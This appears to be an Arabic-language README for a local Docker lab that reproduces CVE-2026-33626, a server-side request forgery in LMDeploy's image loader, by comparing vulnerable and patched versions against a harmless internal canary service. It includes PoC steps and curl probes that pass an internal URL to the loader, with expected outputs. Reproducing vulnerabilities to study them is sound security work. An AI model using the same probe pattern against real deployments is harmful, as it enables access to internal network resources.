
مختبر Docker Compose يعيد إنتاج ثغرة CVE-2026-33626 من نوع SSRF في محمّل الصور الخاص بنظام الرؤية-اللغة في LMDeploy. يقارن السلوك الهش (0.12.0) بالسلوك المُصحَّح (0.12.3) مع سكربت PoC وخدمة كَناري داخلية.
يستنسخ هذا المستودع CVE-2026-33626، وهي ثغرة تزوير الطلبات من جانب الخادم (SSRF) في مسار تحميل الصور الخاص بنموذج الرؤية واللغة في LMDeploy.
يحدث السلوك الثغري عندما يستقبل LMDeploy عنوان URL لصورة، ويقوم محمّل الصور من جانب الخادم بجلب ذلك العنوان دون حظر العناوين الداخلية أو الخاصة أو الاسترجاعية (loopback) أو المرتبطة بالرابط المحلي (link-local) بشكل صحيح.
يقارن هذا المختبر:
| الخدمة | الإصدار | الغرض |
|---|
vuln | LMDeploy 0.12.0 | يوضح السلوك الثغري |
patched | LMDeploy 0.12.3 | يوضح السلوك المُصحح |
internal | خدمة كاناري محلية | يحاكي موردًا داخليًا حصريًا داخل شبكة Docker |
صُمم المختبر ليعمل محليًا باستخدام Docker Compose ولا يتصل بنقاط نهاية بيانات التعريف السحابية أو أهداف خارجية.
يدعم LMDeploy سير عمل الرؤية واللغة حيث يمكن تحميل صورة من عنوان URL يوفره المستخدم. في الإصدارات الثغرية، يمكن لكود تحميل الصور جلب عناوين URL يتم حلها إلى عناوين شبكة داخلية/خاصة.
قد يسمح ذلك لمهاجم لديه إمكانية الوصول إلى نقطة نهاية LMDeploy بجعل الخادم يطلب موارد داخلية، مثل:
في هذا المختبر، الهدف الداخلي غير ضار عمدًا:
http://internal:9000/private.png
هذا العنوان موجود فقط داخل شبكة Docker Compose.
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
لا يشغّل المختبر خادم استدلال VLM كاملًا. بدلاً من ذلك، يعزل أولية تحميل الصور الثغرية في LMDeploy عبر استدعاء:
from lmdeploy.vl import load_image
load_image(url)
هذا يحافظ على خفة الاستنساخ وقابلية تحديد النتيجة مع إظهار السلوك الأمني الذي تم تصحيحه.
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
| الخدمة | عنوان المضيف | منفذ الحاوية | الوصف |
|---|---|---|---|
vuln | http://127.0.0.1:8081 | 8000 | غلاف LMDeploy 0.12.0 |
patched | http://127.0.0.1:8082 | 8000 | غلاف LMDeploy 0.12.3 |
internal | http://127.0.0.1:8090 | 9000 | خدمة الكاناري الداخلية |
داخل شبكة Docker، يمكن الوصول إلى خدمة الكاناري الداخلية عبر:
http://internal:9000/private.png
على Apple Silicon، تعمل خدمتا vuln وpatched كـ linux/amd64 لأن حزمة LMDeploy المستخدمة في هذا المختبر موجّهة لمعمارية x86_64.
قم ببناء الخدمات وتشغيلها:
docker compose up -d --build
تحقق من حالة الحاويات:
docker compose ps
الحالة المتوقعة:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
المخرجات المتوقعة:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
أنشئ بيئة افتراضية وقم بتثبيت التبعيات:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
شغّل إثبات المفهوم:
python poc/poc.py
الهدف الافتراضي لـ SSRF هو:
http://internal:9000/private.png
يمكن الوصول إلى هذا الهدف من حاويات Docker، وليس من الإنترنت العام.
يجب أن تجلب الخدمة الثغرية صورة الكاناري الداخلية بنجاح:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
يؤكد هذا أن LMDeploy 0.12.0 قام بطلب من جانب الخادم إلى خدمة Docker الداخلية.
يجب أن تحظر الخدمة المُصححة نفس العنوان قبل الوصول إلى الخدمة الداخلية:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
يؤكد هذا أن LMDeploy 0.12.3 يحظر عناوين URL التي يتم حلها إلى عناوين IP غير عامة/داخلية.
الملخص النهائي المتوقع:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
أعد تعيين خدمة الكاناري الداخلية:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
اختبر الخدمة الثغرية:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
المتوقع: يحتوي /hits على طلب واحد.
اختبر الخدمة المُصححة:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
المتوقع: يبقى /hits فارغًا.
لا يطلب إثبات المفهوم الخدمة الداخلية مباشرةً بصفتها المهاجم.
بدلاً من ذلك، يرسل إثبات المفهوم عنوان URL داخليًا إلى LMDeploy. إذا قام LMDeploy بجلب هذا العنوان من داخل شبكة الحاوية، تسجّل خدمة الكاناري الداخلية الطلب.
يثبت هذا السلوك أولية SSRF:
attacker-controlled URL
↓
LMDeploy server-side image loader
↓
request to internal network resource
الإصدار المُصحح يمنع ذلك عن طريق رفض عناوين URL التي يتم حلها إلى عناوين IP غير عامة.
docker compose down -v
نشرة أمان GitHub: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
Commit التصحيح: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
طلب السحب: #4447 https://github.com/InternLM/lmdeploy/pull/4447
تحليل Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours